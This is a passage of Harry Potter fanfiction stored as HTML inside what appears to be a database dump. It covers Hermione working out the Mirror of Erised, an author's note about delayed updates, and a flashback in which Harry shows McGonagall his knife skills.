matter,&gt;</i> he wondered, &lt;<i> why was I SCARED of it&#8230;?</i>&gt; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Alright.&#8221; Hermione said, interrupting Harry\'s thoughts and sounding a little nervous. &#8220;Here goes.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Don\'t worry, I\'ll pull you away from it if you get too caught up in it like Ron was.&#8221; Harry told Hermione as she braced herself for whatever the mirror might show her. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She smiled at him gratefully as he and Ron stepped away from her leaving her alone in front of the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<b>*Hermione\'s POV*</b>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt;<i> Alright, I can do this,&gt;</i> Hermione thought, &lt; <i>I just have to make sure to remember that it\'s just a mirror, and Ron and Harry will pull me away if I DO get lost in it.</i>&gt; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> With that in mind she let herself look into the mirror and as she did the reflection in the mirror shimmered then showed what looked like the Hogwarts grounds in the summer. Far back in the image, too far to be properly seen, were dozens of different creatures of all shapes, sizes and species and they all looked as though they were celebrating something or other. Closer to the surface of the mirror Hermione could make out most of the Hogwarts staff with Professor McGonagall at the front, all smiling in her direction and holding out scrolls that looked like diplomas. Still closer to the surface were her parents, their smiles were full of perfect white teeth. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt; <i>Okay,</i>&gt; Hermione shook herself, trying to surpress the grin that was threatening to break out, &lt; <i>I\'ve got to remember that this is just a trick, an illusion&#8230; no matter HOW nice it seems.</i>&gt; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Shaking herself and forcing herself to remember what she was supposed to be doing in the first place she examined the mirror image again, looking for any clues as to what it\'s purpose might be. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Near the surface of the mirror was her own reflection along with that of Ron and Harry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron was flying back and forth around the other two riding a very shiny, and apparently very fast, broom. His robes sported the Gryffindor colours and his eyes seemed to shine in the spotlight that appeared to be focussed solely on him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Right, so why would the mirror show Ron like that?&#8221; she wondered out loud. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Like what?&#8221; Hermione heard Ron ask. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Quiet! I\'m trying to figure this out.&#8221; She hissed back at him without looking away. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt; <i> I don\'t know if those robes mean that he\'s the Quidditch Captain, but if they do, then he looks pretty much like he said he did when HE looked into the mirror.</i>&gt; Hermione could tell that the answer was hiding somewhere in the back of her brain and it was frustrating that she just couldn\'t quite pin it down. &lt; <i>Obviously anything that we see in the mirror is taken from our own minds, but - WHY?! Arrgh!</i>&gt; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She sighed and decided to look at Harry next. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The very first thing that she noted about Harry was his eyes. Usually they were hidden behind those mirrored glasses of his. &lt; <i>How does he see with those things when it gets dark any way?</i>&gt; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> In the mirror Harry\'s usual glasses were gone and he was wearing gold-rimmed spectacles. His eyes fairly shone through the clear lenses and they seemed to have deepened to a rich emerald green. Dragging her attention away from his eyes she looked at the rest of him. He didn\'t look NEARLY as skinny as he was in reality, though he certainly didn\'t look anything like a bodybuilder. He was dressed in loose casual clothes that looked black, but every so often a bolt of lightning flashed across them as he moved. His movements held a sort of fluid grace that made he look both relaxed and on the brink of sudden action at the same time. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> What drew Hermione\'s attention most though was his face. There was something very different about it that made her smile softly. After a moment Hermione realised that it was the fact that Harry was grinning, which had caught her attention because it was something that `real Harry\' did only rarely. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione finished her examination of Harry and could tell that she was a little closer to pinning down the answer that was fluttering around in her head as she turned her attention finally to her own image. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> What she saw surprised her more than any of the other images. Her reflection looked&#8230; NORMAL&#8230; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She frowned and took a longer look. She didn\'t look EXACTLY like her reflection, but there were no drastic differences. `Mirror Hermione\' looked a little bit older, but she was still wearing the same Gryffindor school robes that she was now. Her reflection was reading a big blue book, nothing unusual there, with a title she couldn\'t quite make out (something to do with material magics maybe) as she leaned against Harry\'s shoulder. Every once in a while she would look up at Ron, smile and wave, then turn to Harry and share a laugh over their friend\'s antics. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Then something clicked in her head and she turned slowly away from the mirror mulling it over. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<b>*Third Person POV*</b>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione\'s expression turned suddenly suspicious and she turned slowly towards her friends. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Ron, how did your reflection look like it was feeling?&#8221; she asked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron turned to Harry with a puzzled look, but Harry only shrugged. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well, happy I guess,&#8221; Ron answered with confusion. &#8220;Why?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione waved off his question and turned to Harry. &#8220;And yours?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He thought about it for a moment. For some reason what he\'d seen had upset him, but his reflection had looked cheerful enough. &#8220;The same I suppose.&#8221; He answered with a frown. &#8220;What have you figured out?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione gave no indication that she\'d heard him as she turned again to look at the mirror, though this time she seemed to be squinting at the frame, rather than her reflection. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Hello? Helllooooooo!&#8221; Ron shouted, dancing around and waving his arms. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The two boys shared amused looks. They were used to it by now. Sometimes when Hermione really got into a question nothing else seemed to exist in her world but her, the puzzle and its solution. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron and Harry prepared to wait until Hermione either figured the mirror out or decided that they needed to go to the library and were about to sit down and get comfortable when Hermione\'s eyes flashed and she yelled out in delight. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;THAT\'S IT!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Gyaa!&#8221; Ron cried and jumped up off of the desk he\'d just sat on. &#8220;Sheesh, you nearly gave me a heart attack!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Sorry.&#8221; She said, not sounding it. &#8220;But do you want to know what the mirror does or not?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> AN- <b>*</b><i>wrings hands nervously</i><b>*</b>Okay, now before anyone does anything rash I\'d like to offer and explanation and apology. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> First of all, I\'d like to acknowledge the fact that this chapter is ridiculously overdue and I am sorry for any worry that I may have caused over whether or not I was going to continue with the story or not. Let me assure you, I have said that I would not stop writing until I was finished and I meant it. I have NEVER, in all my memory or anyone else\'s, broken my word and I don\'t intend to start now. I said I\'d finish this and come Hell or high water or <i>both </i>I damn well WILL! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> I\'ve never been very good at excuses and such so I\'ll just give you a run down of the events that led up to the `slightly delayed update\'. First, when I had about 2/3s of this chapter done, I was forced to format my hard drive (Setback = 1.5). While I was reinstalling EVERYTHING onto the computer I started using another one to start on the story again&#8230; that file was deleted by a family member who, I assure you, suffered dearly for their mistake (Setback = 1 + increasing frustration). Dismayed by these events I didn\'t bother trying to start again until I had my own computer working again. By this time it had already been a couple months since the last update. It was around Christmas that I was finally able to start writing again and you know how distracting that time of year is (especially when you have to deal with MY family&#8230; scarey&#8230;) (Setback = 2). After the hols I planned to get back at it, but had trouble due to the fact that it had been so long since I\'d done any work on it, or even had much chance to read anything at all (Setback = 1)! Then to make matters even <i>better</i> my grandfather passed away (Setback = 0.5) while at the same time I had to start working at my co-op placement in PNGS which takes a LOT of getting used to with all of their security and the long hours didn\'t leave me much in the way of free time (Setback = 1). Aside from these major things there were the usual small setbacks in between (Setback = 1). </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> So on a setback scale from one to ten (One being regular updates, 5 being on hiatus, and ten being abandoned), I had a rating of about 8. Of course I\'ll never let that rating reach ten, but I hope you can understand a little bit of why it took me soooooo long! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Now I want to say that I am very sorry that I wasn\'t able to bring this chapter to you sooner, and while I can\'t promise that nothing like this will happen again, I can at least promise that if something like it happens again I will be sure to let everyone know what is going on with the story. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Anywho, since I\'ve got that out of the way I want to thank everyone. When I was actually able to check things out, I received a lot of e-mails, reviews and messages from people asking about the story, complimenting, complaining, and even threatening me! I don\'t think that any of you will realize just how amazing it was to hear from so many different people. It actually made me grin, reading everything that all of you had to say. Thanks. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Special thanks go to Bryan for being a very understanding and encouraging beta reader for me (not to mention helpful), to people who threatened annoyance (eg. Anon [whomever you are]), to JennLeigh821 for caring about random people and Mary and Leigh for making me so embarrassed by the lack of updating (unintentionally on their part) that I started working on the story while at my co-op placement which gave me that little extra bit of time that I needed to finish this. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<b>H/H FOREVER! </b>\n\n</p>\n\n<p>\n\n</p><p> Bye! </p>\n\n<p>\n\n</p><p> Shades of Grey </p> '),
	(17, 26, ' <p><font size="4">AN- Hello, Ladies, Gentlemen and everyone else. Welcome to another chapter. Please keep your hands and feet inside at all times and keep your eyes glued to your computer screen. The author accepts NO responsibility for any feelings of vertigo, nausea or mirth. Any injuries sustained such as cracking up should be taken care of by a trained health care specialist and not mentioned to the author as he will likely respond in a random and insensible manner.</font></p>\n\n<p>&#8216;<font size="4">O_o</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4"><b>H/H FOREVER!</b></font></p>\n\n<p><font size="4">Bye!</font></p>\n\n<p><font size="4">Shades of Grey</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">@@@@@@@@@@@@@@@@@@@@@@@@@</font></p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Ron scowled in exasperation for a moment then gave in.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Ahg! Fine, so what does the bloody mirror do, oh mighty all-knowing Hermione?&#8221; he asked, his voice dripping with sarcasm.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Think about it, Ron.&#8221; She answered, rolling her eyes. &#8220;Everything we saw made us, or at least the images of us, very happy didn&#8217;t it? It can&#8217;t be showing us our futures because then Harry couldn&#8217;t have seen his parents.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Ron frowned, his brows creasing in concentration, looking as if he had almost figured it out then lost it again.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I still don&#8217;t get it, Hermione.&#8221; He admitted sheepishly.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I don&#8217;t get it either.&#8221; Harry added. &#8220;It shows us when we&#8217;re happy? Or what would make us happy or something?&#8221; </font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Exactly Harry.&#8221; Said Hermione. &#8220;I&#8217;m pretty sure it shows us whatever would make us most happy. Look at the writing.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">You mean <i>Erised stra ehru oyt ube cafru oyt on wohsi?</i>&#8221; Ron asked, trying to pronounce the odd words.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I wonder what language it&#8217;s in? I know the characters are from the basic Latin alphabet, but I don&#8217;t recognize any of the words.&#8221; Harry thought aloud as he turned to examine the letters on the frame.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">English.&#8221; Hermione answered once she had gotten over her surprise at Harry&#8217;s knowledge of languages and writing, looking quite satisfied with herself.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Ron and Harry turned to her with amusingly identical looks of disbelief.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">English? Are you daft?&#8221; asked Ron, seeming more than a little sceptical. &#8220;I can hardly even say most of those words!&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Hermione only smirked at the other two and said, &#8220;Read it backwards.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">By this point Ron and Harry were well past being merely confused, but they both knew better than to argue with Hermione when she was in her lecturing mode. It just wasn&#8217;t conducive to maintaining your health or at the very least your sanity.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Once more they turned to the mirror and studied the carvings mumbling to their selves. They soon realised what the writing on the mirror was supposed to say.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4"><i>I show not your face but your hearts desire.</i>&#8221; Ron recited to Hermione&#8217;s beaming approval. &#8220;But why would it be backwards?&#8221;</font></font></p>\n\n<p>\n\n</p>\n\n<p>&#8220;<font size="4">Because it&#8217;s a mirror, Ron.&#8221; Harry answered slowly. He grinned a little as it dawned on him and Hermione nodded her approval. &#8220;When you look in a mirror you see everything backwards.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well, now we know what the mirror does.&#8221; Ron stated, &#8220;I suppose that&#8217;s one mystery down and one to go.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry nodded his agreement.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Finally it was Hermione&#8217;s turn to be confused.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">What&#8217;s the other one?&#8221; she asked.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well if all the mirror does, is to show you whatever you want most, then why was it put here?&#8221; Ron asked. &#8220;According to Harry, it was only put here recently and the fact that it was made to look as if it had always been here would suggest that SOMEONE doesn&#8217;t want it to be noticed.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Hermione opened her mouth to respond when there was a sudden rumbling growl.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry and Hermione nearly jumped out of their skin and looked frantically towards the source of the noise. Ron smiled sheepishly back at them.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Why don&#8217;t we see if we can still get some food?&#8221; he asked rubbing his stomach.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Hermione smiled and Harry actually gave a small laugh, earning him an odd look from his friends.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">What?&#8221; he asked.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Hermione smiled and shook her head ruefully.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">You don&#8217;t laugh nearly enough, mate.&#8221; Ron answered. &#8220;In fact I can&#8217;t even remember having heard you laugh before. Anywho, lets go. I&#8217;m starving.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Ron&#8217;s stomach backed up his statement with another frighteningly loud growl.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">&#191; &lt;&#8217;}}}&gt;&lt;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">They ended up missing lunch, but Ron made sure to make up for it during dinner. The rest of the day was spent trying to think of any reason someone could have for wanting to hide such an odd mirror. Hermione insisted on dragging them all to the library to look for any mention of the mirror in books about magical artefacts, but they didn&#8217;t find anything about the mirror. They didn&#8217;t find anything conclusive to suggest what the mirrors purpose might be, partly because Harry kept getting lost in his thoughts.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">He was trying to decide why seeing his parents in the mirror had scared him so much the first time, and had been upsetting the second. He didn&#8217;t really understand. If the mirror was showing him what he wanted most &#8211; then why would seeing it be upsetting? He decided that he was out of his depth and chose to forget about it for a while. Maybe he would ask Hermione about it later. He wouldn&#8217;t feel comfortable talking to Ron about it and he didn&#8217;t think that Ron was likely to be much help. Harry knew though that both his friends wanted him to talk to them about things like this. Harry just wasn&#8217;t used to <i>having</i> people around who wanted to know how he felt. Certainly the Dursleys had never shown any interest in his feelings, with the possible exception of Dudley who liked to know that he was in fact causing Harry pain of some sort. Talking about his feelings, even with friends as great as Hermione and Ron went against all his experience up until he arrived at Hogwarts.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">After exhausting all the possibilities the trio decided to forget about the mirror until something new came up. After all they all still had their potions homework to do. Even Hermione had put off doing hers which Ron was quite happy to hear. He had hardly even looked at his potions assignment and even if Hermione and Harry refused to let him copy what they wrote it still saved him a lot of research by simply using whichever books Hermione suggested to Harry and him.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">&#191; &lt;&#8217;}}}&gt;&lt;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">A couple of days later Harry was wandering around for a bit, having slipped out of the common room by himself during one of Ron and Hermione&#8217;s more &#8211; <i>intense</i> arguments. He&#8217;d be worried about their blood pressure if they were any older.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">As he passed the door to McGonagall&#8217;s office he fingered the sheath on his arm, thinking back to the day that she&#8217;d asked Nearly Headless Nick to send Harry from the common room to speak with her.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">******<b>FLASHBACK</b>******</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>Harry knocked on the door to McGonagall&#8217;s office. The faint scratching of a quill on Parchment stopped and Harry heard some papers shuffled before his professor answered.</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Come in.&#8221; she said.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry opened the door stepped into Professor McGonagall&#8217;s office. Other than a couple cabinets, her office lacked anything in the way of furnishings other than the desk which she was currently sitting behind.</font></p>\n\n<p>\n\n</p>\n\n<p>&#8220;<font size="4">You wanted to speak to me?&#8221; he asked. He was fairly sure he knew why, but would rather have McGonagall be the one to bring it up than to mention her concerns regarding his knife himself.</font></p>\n\n<p>\n\n</p>\n\n<p><font size="4">McGonagall nodded and motioned for Harry to close the door.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Have a seat, Mr. Potter.&#8221; She said.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry closed the door and was about to point out that there was no chair, when McGonagall waved her wand at the floor in front of her desk and part of the floor seemed to grow upwards and quickly turned into a simple wooden chair. Harry chastised himself mentally for forgetting McGonagall&#8217;s mastery of transfiguration. Of course this also explained her lack of furniture. What use would she have of such things when her skill in her field allowed her to create what she needed from nearly anything on hand?</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">He sat down quickly. He knew that McGonagall was still quite against him being allowed to carry a knife around the school with him and he started a calming breathing exercise to mentally prepare himself to argue his case as best he could. He might have already been given Dumbledore&#8217;s permission to have the knife, but the headmaster had made it clear that Harry would still need to convince his head of house that the knife would not cause any harm, whether or not the harm was intentional.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">I am sure that you already know why I asked to speak with you, Mr. Potter, but let me make it perfectly clear.&#8221; McGonagall began in her usual lecturing tone. &#8220;I am concerned with the fact that you carry a weapon with you. I do not at all doubt that you have no intention of using it for anything less than an absolute emergency as you did on Halloween, but accidents <b>do</b> happen. I understand that you have been carrying it with you since the beginning of the year, and the fact that there were no problems in all that time does reassure me somewhat, but nonetheless I remain concerned. Now, the headmaster has told me that he does not believe there is any reason to take the knife from you, but he suggested that I speak to you about my &#8211; <b>misgivings</b> anyway.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">She paused to give Harry a look.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">I understand, Professor, but I assure you that you have no reason to be worried. I agree that there is a chance that an accident could occur, but then there is also a chance that someone could be hurt from something as simple as falling down the stairs. Even more of a chance when you think about things such as trick steps and the fact that the staircases sometimes move around unexpectedly and without warning.&#8221; Harry reasoned. &#8220;I assure you that the chance that someone could be hurt because I&#8217;m carrying my knife is <b>far</b> less than the chance that they could fall down the stairs.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">I know that you believe what you&#8217;re saying, Mr. Potter,&#8221; McGonagall sighed, &#8220;but can you give me a <b>reason</b> to believe you? Why do you think that there would be little risk in <b>you</b> carrying a weapon as opposed to any other student?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">Harry let out a deep breath. How could he convince her? He didn&#8217;t <b>believe</b> that what he was saying was true, he <b>knew</b> that it was true.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">I suppose &#8211; &#8220;Harry paused, then shook his head and started again. &#8220; No, I <b>know</b> that there is less risk of an accident if <b>I</b> carry a weapon than if someone else did because I know how to handle it, and use it, whereas others probably don&#8217;t.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">McGonagall frowned at him in confusion.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">I&#8217;m afraid I don&#8217;t understand.&#8221; She admitted. &#8220;How &#8211; <b>Why</b> do you know &#8216;how to handle it&#8217;? And what do you mean by that?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Now it was Harry&#8217;s turn to be confused. Dumbledore must have told her what Harry had told him in the hospital wing. She was, after all, the deputy headmistress.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Uh, didn&#8217;t Professor Dumbledore tell you about it?&#8221; Harry asked.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">No, he did not.&#8221; McGonagall answered, folding her hands in front of her.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry could tell that she was a little miffed at the headmaster for that.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">He said that it was your choice whether or not to tell me about it, as it seemed to be a bit personal.&#8221; Explained the professor.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">Harry felt a rush of appreciation towards the headmaster for this. It wasn&#8217;t that he didn&#8217;t want McGonagall to know anything about his knife, but never before had any grownup other than his sensei let him decide for himself whether to answer a question or not. At the Dursleys he always had to do exactly as he was told &#8216;or else&#8217;, it felt great to be shown such respect and&#8230; <b>trust</b> from someone like Dumbledore.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry snapped back to reality as he realised that McGonagall was still waiting for a response from him.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">&lt; <i>Well, she <b>is</b> my head of house,&gt; </i>Harry thought to himself. &lt; <i>I suppose she can&#8217;t really use anything I tell her against me...&gt;</i></font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well, I don&#8217;t really know how to explain what I mean by &#8216;handling it&#8217;, but I was taught how to use it by my sensei Mr Osakawa, &#8211; he&#8217;s my martial arts instructor&#8230;&#8221; Harry trailed off as he could tell that his explanation was only causing further confusion. &#8220;Uh, do you know what I&#8217;m talking about?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">McGonagall shook her head.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I can only assume that you&#8217;re talking about some type of muggle thing?&#8221; she asked, and smiled at him a little. &#8220;Muggle studies was never my best class.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry was shocked that she would say something like that to a student. It just didn&#8217;t seem to fit her manner, and she looked a little surprised at it herself, but he went on anyway.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well, sensei basically means &#8216;teacher&#8217;, and martial arts are different styles of muggle fighting.&#8221; He told her feeling rather odd to be teaching his teacher about something. &#8220;It&#8217;s sort of like a sport, maybe like duelling is for wizards? Sorry, I&#8217;m not very good at explaining things&#8230;&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">McGonagall sighed.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Perhaps we should start over. What exactly does your &#8211; &#8216;sensei&#8217; teach you about these martial arts?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Well generally most martial arts focus on discipline a lot.&#8221; Harry began. &#8220;Of both the mind <b>and</b> the body.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry went on to explain as much as he could about martial arts in general and found himself enjoying talking about something he was interested in. He began to understand why McGonagall was Hermione&#8217;s favourite professor. She listened to what Harry had to say and asked intelligent questions even though it was obvious that it was hard to understand for someone who&#8217;d grown up only in the magical world, where there was apparently nothing like martial arts, duelling being the closest comparison.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">So muggles hit each other with their hands and feet in order to hurt each other?&#8221; McGonagall asked looking a little perplexed. &#8220;I can&#8217;t see how there could be many different &#8216;styles&#8217;. After all, how many different ways can there be to hit someone?&#8221;</font></p>\n\n<p>\n\n</p>\n\n<p>Harry shook his head.</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Martial arts are like DADA.&#8221; Explained Harry. &#8220;The purpose of learning them is self-defence and self-discipline, but they can be used aggressively the same as the magic we learn in DADA can. And as we learn different kinds of spells to deal with a situation, you can learn different ways to &#8211; move, I guess, in a fight.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I&#8217;ll have to take your word on that I suppose. Right now we&#8217;re getting a bit off track.&#8221; McGonagall sighed. &#8220;What you&#8217;re saying is that your teacher taught you how to use this knife to&#8230; attack people?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry sighed. He didn&#8217;t seem to be doing very well at convincing McGonagall to let him keep his knife.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Yes, I <b>do</b> know how to attack people with the knife,&#8221; he said, &#8220; but in order to do that I also have to know how <b>not</b> to hurt people with it. You have to be able to control a weapon, whether magical or muggle, in order to use it.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">McGonagall looked thoughtful, and nodded at Harry&#8217;s answer.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Yes, I see. Doing any kind of magic requires control. If the caster is not properly in control of their magic they are as likely to hurt themselves with a curse as their target. I can understand it in terms of needing control of magic, I&#8217;m not sure about how you would control a piece of metal in the same manner though.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry was beginning to become exasperated by this point.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">&lt; <i>I know that witches and wizards have been hiding in their magical world for a <b>long</b> time, but are they so submersed in magic that they don&#8217;t even understand simple things if they&#8217;re not in terms of magic?</i>&gt; he grumbled.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Like <b>this</b>.&#8221; He said, and he released his knife into his hand and held it up in front of him.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Making sure McGonagall was watching the knife Harry spun it around a bit, a move that was flashy but not useful in a fight. He kept it spinning, faster and faster, then tossed it to his other hand, still spinning. McGonagall&#8217;s eyes had gotten wider and wider as he spun the blade and she had flinched when he tossed the knife, but her eyes never left the flashing point of the blade.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry sent the knife rippling across the backs of his knuckles, before tossing the knife back in the air and catching it by the blade in his right hand. Harry had never enjoyed learning that kind of thing as it seemed to be a pointless talent and not at all practical, but Osakawa-sensei had insisted it was a wonderful way to increase his dexterity and Harry had obediently practiced it until Osakawa-sensei was satisfied.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry couldn&#8217;t remember his professor ever looking as surprised as she did just then and had to work to keep himself from smiling as she sat still for a moment after he stopped the knife.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Finally she looked up from the 